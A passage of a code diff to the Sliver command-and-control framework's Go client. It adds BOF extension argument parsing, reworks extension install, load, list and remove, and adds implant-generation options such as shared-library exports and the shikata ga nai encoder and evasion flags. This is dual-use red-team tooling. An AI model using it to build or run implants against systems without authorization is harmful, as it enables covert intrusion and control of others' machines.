err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
err = os.WriteFile(saveFile, jsonBytes, 0o600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+413
View File
@@ -0,0 +1,413 @@
package extensions
import (
"bytes"
"flag"
"fmt"
"os"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/core"
"github.com/spf13/cobra"
)
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
// and converts them to a BOF-compatible binary buffer
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
// Create a flag set and parse the arguments
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
if err != nil {
return nil, err
}
// Print debug information about parsed flags
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
// Initialize the BOF arguments buffer
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Process arguments and build the buffer
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
stringValues, wstringValues, intValues, shortValues, fileValues)
if err != nil {
return nil, err
}
// Return error if we have missing required arguments
if len(missingRequiredArgs) > 0 {
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
}
// Get the final binary buffer
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, fmt.Errorf("failed to get buffer: %v", err)
}
return parsedArgs, nil
}
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
// and parses the provided arguments
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
// Create a new FlagSet
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
// Maps to store flag value pointers
stringValues := make(map[string]*string)
intValues := make(map[string]*int)
shortValues := make(map[string]*int)
fileValues := make(map[string]*string) // Path to file data
wstringValues := make(map[string]*string)
// Define expected flags based on manifest arguments
for _, arg := range ext.Arguments {
flagName := arg.Name
flagDesc := arg.Desc
switch arg.Type {
case "string":
stringValues[flagName] = fs.String(flagName, "", flagDesc)
case "wstring":
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
case "int", "integer":
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "short":
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
case "file":
fileValues[flagName] = fs.String(flagName, "", flagDesc)
default:
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
}
}
// Parse the arguments
if err := fs.Parse(args); err != nil {
return nil, nil, nil, nil, nil, nil, err
}
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
}
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
// Returns a list of missing required arguments and any error encountered
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
stringValues, wstringValues map[string]*string,
intValues, shortValues map[string]*int,
fileValues map[string]*string) ([]string, error) {
missingRequiredArgs := make([]string, 0)
for _, argDef := range ext.Arguments {
var provided bool
var err error
// Process based on argument type
switch argDef.Type {
case "string":
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
case "wstring":
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
case "int", "integer":
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
case "short":
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
case "file":
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
}
if err != nil {
return nil, err
}
// If argument not provided, handle according to rules
if !provided {
if argDef.Optional {
// Try to apply default or type-appropriate zero value
err = bofApplyDefaultValue(argDef, argsBuffer)
if err != nil {
return nil, err
}
} else {
// Required argument was not provided
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
}
}
}
return missingRequiredArgs, nil
}
// bofProcessStringArg processes a string argument
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := stringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessWStringArg processes a wide string argument
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := wstringValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddWString(*ptr)
if err != nil {
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessIntArg processes an integer argument
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := intValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddInt(uint32(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessShortArg processes a short integer argument
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := shortValues[argDef.Name]
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
err := argsBuffer.AddShort(uint16(*ptr))
if err != nil {
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofProcessFileArg processes a file argument
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
argsBuffer core.BOFArgsBuffer) (bool, error) {
ptr := fileValues[argDef.Name]
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
if flagWasSet {
// Validate file exists and read it
data, err := os.ReadFile(*ptr)
if err != nil {
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
}
err = argsBuffer.AddData(data)
if err != nil {
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
}
return true, nil
}
return false, nil
}
// bofApplyDefaultValue applies a default value based on the argument definition
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
// Try to use default value from manifest if available
if argDef.Default != nil {
switch argDef.Type {
case "string":
// Handle string default - could be string literal or numeric in JSON
defaultVal, ok := argDef.Default.(string)
if !ok {
// Try to convert from other types
defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "wstring":
// Handle wstring default
defaultVal, ok := argDef.Default.(string)
if !ok {
defaultVal = fmt.Sprintf("%v", argDef.Default)
}
err := argsBuffer.AddWString(defaultVal)
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
case "int", "integer":
// Handle int default - could be number or string in JSON
var defaultInt uint32
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultInt = uint32(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 32)
if err == nil {
defaultInt = uint32(val)
}
}
}
err := argsBuffer.AddInt(defaultInt)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
case "short":
// Handle short default - could be number or string in JSON
var defaultShort uint16
// Try as number first
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
if ok {
defaultShort = uint16(numVal)
} else {
// Try as string
strVal, ok := argDef.Default.(string)
if ok {
val, err := strconv.ParseUint(strVal, 10, 16)
if err == nil {
defaultShort = uint16(val)
}
}
}
err := argsBuffer.AddShort(defaultShort)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
case "file":
// Default for file doesn't really make sense, but handle for completeness
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
} else {
// No default specified in manifest, use type-appropriate zero values
switch argDef.Type {
case "string":
err := argsBuffer.AddString("")
if err != nil {
return fmt.Errorf("failed to add default string: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "wstring":
err := argsBuffer.AddWString("")
if err != nil {
return fmt.Errorf("failed to add default wstring: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
case "int", "integer":
err := argsBuffer.AddInt(0)
if err != nil {
return fmt.Errorf("failed to add default int: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "short":
err := argsBuffer.AddShort(0)
if err != nil {
return fmt.Errorf("failed to add default short: %v", err)
}
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
case "file":
// Empty data for optional file
err := argsBuffer.AddData([]byte{})
if err != nil {
return fmt.Errorf("failed to add default file data: %v", err)
}
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
}
}
return nil
}
// bofDebugPrintParsedFlags prints information about the parsed flags
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
stringValues map[string]*string,
wstringValues map[string]*string,
intValues map[string]*int,
shortValues map[string]*int,
fileValues map[string]*string) {
fmt.Println("parsed flags:")
for _, arg := range ext.Arguments {
flagName := arg.Name
wasProvided := bofFlagWasProvided(fs, flagName)
if wasProvided {
switch arg.Type {
case "string":
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
case "wstring":
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
case "int", "integer":
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
case "short":
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
case "file":
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
}
}
}
}
// bofFlagWasProvided checks if a flag was explicitly set
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
provided := false
fs.Visit(func(f *flag.Flag) {
if f.Name == name {
provided = true
}
})
return provided
}
+32 -11
View File
@@ -1,34 +1,28 @@
package extensions
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
// Commands returns the 'extensions' command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.ExecutionHelpGroup,
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, _ []string) {
ExtensionsCmd(cmd, con)
},
}
extensionCmd.AddCommand(&cobra.Command{
Use: consts.ListStr,
Short: "List extensions loaded in the current session or beacon",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsListCmd(cmd, con, args)
},
})
extensionLoadCmd := &cobra.Command{
Use: consts.LoadStr,
Short: "Temporarily load an extension from a local directory",
@@ -66,3 +60,30 @@ func Commands(con *console.SliverClient) []*cobra.Command {
return []*cobra.Command{extensionCmd}
}
func SliverCommands(con *console.SliverClient) []*cobra.Command {
extensionCmd := &cobra.Command{
Use: consts.ExtensionsStr,
Short: "Manage extensions",
Long: help.GetHelpFor([]string{consts.ExtensionsStr}),
GroupID: consts.InfoHelpGroup,
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), // restrict to session targets since we cannot `list` "loaded" extensions from beacon mode
}
listCmd := &cobra.Command{
Use: consts.ListStr,
Short: "List extensions loaded in the current session",
Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
Run: func(cmd *cobra.Command, args []string) {
ExtensionsListCmd(cmd, con, args)
},
}
flags.Bind("use", false, listCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
extensionCmd.AddCommand(listCmd)
carapace.Gen(listCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con))
return []*cobra.Command{extensionCmd}
}
+48 -3
View File
@@ -22,6 +22,7 @@ import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
@@ -35,7 +36,7 @@ import (
// ExtensionsCmd - List information about installed extensions.
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) {
if 0 < len(getInstalledManifests()) {
if len(GetAllExtensionManifests()) > 0 {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
@@ -67,8 +68,12 @@ func PrintExtensions(con *console.SliverClient) {
for _, extension := range loadedExtensions {
//for _, extension := range extensionm.ExtCommand {
installed := ""
if _, ok := installedManifests[extension.Manifest.Name]; ok {
installed = "✅"
//if _, ok := installedManifests[extension.Manifest.Name]; ok {
for _, installedManifest := range installedManifests {
if extension.Manifest.RootPath == installedManifest.RootPath {
installed = "✅"
break
}
}
tw.AppendRow(table.Row{
extension.Manifest.Name,
@@ -97,6 +102,9 @@ func extensionPlatforms(extension *ExtCommand) []string {
return keys
}
// getInstalledManifests - Returns a mapping of extension names to their parsed manifest objects.
// Reads all installed extension manifests from disk, ignoring any that cannot be read or parsed.
// The returned manifests have their RootPath set to the directory containing their manifest file.
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
@@ -110,11 +118,48 @@ func getInstalledManifests() map[string]*ExtensionManifest {
if err != nil {
continue
}
manifest.RootPath = filepath.Dir(manifestPath)
installedManifests[manifest.Name] = manifest
}
return installedManifests
}
// getTemporarilyLoadedManifests returns a map of extension manifests that are currently
// loaded into memory but not permanently installed. The map is keyed by the manifest's
// Name field.
func getTemporarilyLoadedManifests() map[string]*ExtensionManifest {
tempManifests := map[string]*ExtensionManifest{}
for name, manifest := range loadedManifests {
tempManifests[name] = manifest
}
return tempManifests
}
// GetAllExtensionManifests returns a combined list of manifest file paths from
// both installed and temporarily loaded extensions
func GetAllExtensionManifests() []string {
manifestPaths := make(map[string]struct{}) // use map for deduplication
// Add installed manifests
for _, manifest := range getInstalledManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Add temporarily loaded manifests
for _, manifest := range getTemporarilyLoadedManifests() {
manifestPath := filepath.Join(manifest.RootPath, ManifestFileName)
manifestPaths[manifestPath] = struct{}{}
}
// Convert to slice
paths := make([]string, 0, len(manifestPaths))
for path := range manifestPaths {
paths = append(paths, path)
}
return paths
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names.
func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+24 -2
View File
@@ -43,7 +43,22 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
}
// Install an extension from a directory
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
// It reads the extension manifest, validates it, and copies all required files to the extensions
// directory. If an extension with the same name already exists, it can optionally prompt for
// overwrite confirmation.
//
// Parameters:
// - extLocalPath: Path to the source directory or gzipped archive containing the extension
// - promptToOverwrite: If true, prompts for confirmation before overwriting existing extension
// - con: Sliver console client for displaying status and error messages
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
//
// The function will return early with error messages printed to console if:
// - The manifest cannot be read or parsed
// - Required directories cannot be created
// - File copy operations fail
// - User declines overwrite when prompted
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
var manifestData []byte
var err error
@@ -64,8 +79,15 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
return
}
// Use package name if available, otherwise use extension name
// (Note, for v1 manifests this will actually be command_name)
packageID := manifestF.Name
if manifestF.PackageName != "" {
packageID = manifestF.PackageName
}
//create repo path
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
if promptToOverwrite {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
+106 -5
View File
@@ -20,12 +20,111 @@ package extensions
import (
"context"
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"slices"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ExtensionMatch holds the details of a matched extension
type ExtensionMatch struct {
CommandName string
Hash string
BinPath string
}
// FindExtensionMatches searches through loaded extensions for matching hashes
// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
results := make(map[string]*ExtensionMatch)
pathCache := make(map[string]*ExtensionMatch)
// Initialize results map with all target hashes
for _, hash := range targetHashes {
results[hash] = nil
}
// Search for matches
for _, extCmd := range loadedExtensions {
if extCmd == nil || len(extCmd.Files) == 0 {
continue
}
for _, file := range extCmd.Files {
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
// Check cache first
var match *ExtensionMatch
if cached, exists := pathCache[fullPath]; exists {
match = cached
} else {
// Calculate hash if not cached
fileData, err := os.ReadFile(fullPath)
if err != nil {
continue
}
hashBytes := sha256.Sum256(fileData)
fileHash := hex.EncodeToString(hashBytes[:])
match = &ExtensionMatch{
CommandName: extCmd.CommandName,
Hash: fileHash,
BinPath: fullPath,
}
pathCache[fullPath] = match
}
if slices.Contains(targetHashes, match.Hash) {
results[match.Hash] = match
}
}
}
return results
}
// PrintExtensionMatches prints the extension matches in a formatted table
func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Command Name",
"Sha256 Hash",
"Bin Path",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for hash, match := range matches {
if match != nil {
tw.AppendRow(table.Row{
match.CommandName,
hash,
match.BinPath,
})
} else {
tw.AppendRow(table.Row{
"",
hash,
"",
})
}
}
con.Println(tw.Render())
}
// ExtensionsListCmd - List all extension loaded on the active session/beacon.
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -45,10 +144,12 @@ func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []str
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
if len(extList.Names) == 0 {
return
}
con.PrintInfof("Loaded extensions:\n\n")
matches := FindExtensionMatches(extList.Names)
PrintExtensionMatches(matches, con)
}
+45 -19
View File
@@ -80,6 +80,7 @@ type ExtensionManifest_ struct {
type ExtensionManifest struct {
Name string `json:"name"`
PackageName string `json:"package_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
@@ -115,17 +116,24 @@ type extensionFile struct {
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
Default interface{} `json:"default,omitempty"`
}
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
if e.Manifest.RootPath != "" {
// Use RootPath for temporarily loaded extensions
filePath = path.Join(e.Manifest.RootPath, extFile.Path)
} else {
// Fall back to extensions dir for installed extensions
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
}
break
}
}
@@ -140,10 +148,19 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
return filePath, nil
}
// ExtensionLoadCmd - Load extension command.
// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client.
// The extension must contain a valid manifest file. If commands from the extension
// already exist, the user will be prompted to overwrite them.
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
dirPath := args[0]
// dirPath := ctx.Args.String("dir-path")
// Add directory check
fileInfo, err := os.Stat(dirPath)
if err != nil || !fileInfo.IsDir() {
con.PrintErrorf("Path is not a directory: %s\n", dirPath)
return
}
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
@@ -165,7 +182,11 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
}
}
// LoadExtensionManifest - Parse extension files.
// LoadExtensionManifest loads and parses an extension manifest file from the given path.
// It registers each command defined in the manifest into the loadedExtensions map
// and registers the complete manifest into loadedManifests. A single manifest may
// contain multiple extension commands. The manifest's RootPath is set to its containing
// directory. Returns the parsed manifest and any errors encountered.
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := os.ReadFile(manifestPath)
if err != nil {
@@ -279,7 +300,13 @@ func validManifest(manifest *ExtensionManifest) error {
return nil
}
// ExtensionRegisterCommand - Register a new extension command
// ExtensionRegisterCommand adds an extension command to the cobra command system.
// It validates the extension's arguments, updates the loadedExtensions map, and
// creates a cobra.Command with proper usage text, help documentation, and argument
// handling. The command is added as a subcommand to the provided parent cobra.Command.
// Arguments are displayed in the help text as uppercase, with optional args in square
// brackets. The help text includes sections for command usage, description, and detailed
// argument specifications.
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
con.PrintErrorf(errInvalidArgs.Error())
@@ -287,7 +314,6 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
}
loadedExtensions[extCmd.CommandName] = extCmd
//helpMsg := extCmd.Help
usage := strings.Builder{}
usage.WriteString(extCmd.CommandName)
@@ -339,9 +365,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
// Command
extensionCmd := &cobra.Command{
Use: usage.String(), //extCmd.CommandName,
//Short: helpMsg.String(), doesn't appear to be used?
Long: help.FormatHelpTmpl(longHelp.String()),
Use: usage.String(),
Short: extCmd.Help,
Long: help.FormatHelpTmpl(longHelp.String()),
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
@@ -559,11 +585,11 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
// Regular DLL - Just join the arguments with spaces
if len(args) > 0 {
extensionArgs = []byte(strings.Join(args, " "))
} else {
extensionArgs = []byte{}
}
extName = ext.CommandName
entryPoint = ext.Entrypoint
@@ -771,7 +797,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
if err != nil {
return nil, err
}
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
if err != nil {
return nil, err
}
+27 -3
View File
@@ -23,6 +23,7 @@ import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
@@ -86,12 +87,35 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
return false, errors.New("command name is required")
}
if man, ok := loadedManifests[manifestName]; ok {
//foudn the manifest
//delet it
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
// Found the manifest
var extPath string
if man.RootPath != "" {
// Use RootPath for temporarily loaded extensions
extPath = man.RootPath
} else {
// Fall back to extensions dir for installed extensions
extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
}
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return true, nil
}
// If path is outside extensions directory, prompt for confirmation
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
survey.AskOne(prompt, &confirm)
if !confirm {
// Skip the forceRemoveAll but continue with the rest
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
delete(loadedExtensions, cmd.CommandName)
}
return true, nil
}
}
forceRemoveAll(extPath)
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
+4 -1
View File
@@ -143,6 +143,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "directory/file to the binary to")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.StringP("name", "n", "", "Implant name")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
@@ -307,7 +309,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
f.StringP("canary", "c", "", "canary domain(s)")
// C2 channels
@@ -353,6 +355,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
}
+12
View File
@@ -290,6 +290,15 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
isShellcode := false
sgnEnabled := false
var exports []string
exportsArg, _ := cmd.Flags().GetString("exports")
if exportsArg == "" {
con.PrintErrorf("Shared libraries need at least one export\n")
return "", nil
} else {
exports = strings.Split(exportsArg, ",")
}
format, _ := cmd.Flags().GetString("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
@@ -364,6 +373,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
c2Profile = consts.DefaultC2Profile
}
// exports if its a shared library
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -395,6 +406,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
Exports: exports,
RunAtLoad: runAtLoad,
NetGoEnabled: netGo,
+3 -1
View File
@@ -36,6 +36,8 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
con.PrintErrorf("No profile name specified\n")
return
}
implantName, _ := cmd.Flags().GetString("name")
save, _ := cmd.Flags().GetString("save")
if save == "" {
save, _ = os.Getwd()
@@ -46,7 +48,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
}
_, err := compile(name, profile.Config, save, con)
_, err := compile(implantName, profile.Config, save, con)
if err != nil {
return
}
-6
View File
@@ -48,7 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// Wireguard
@@ -66,7 +65,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// DNS
@@ -85,7 +83,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// HTTP
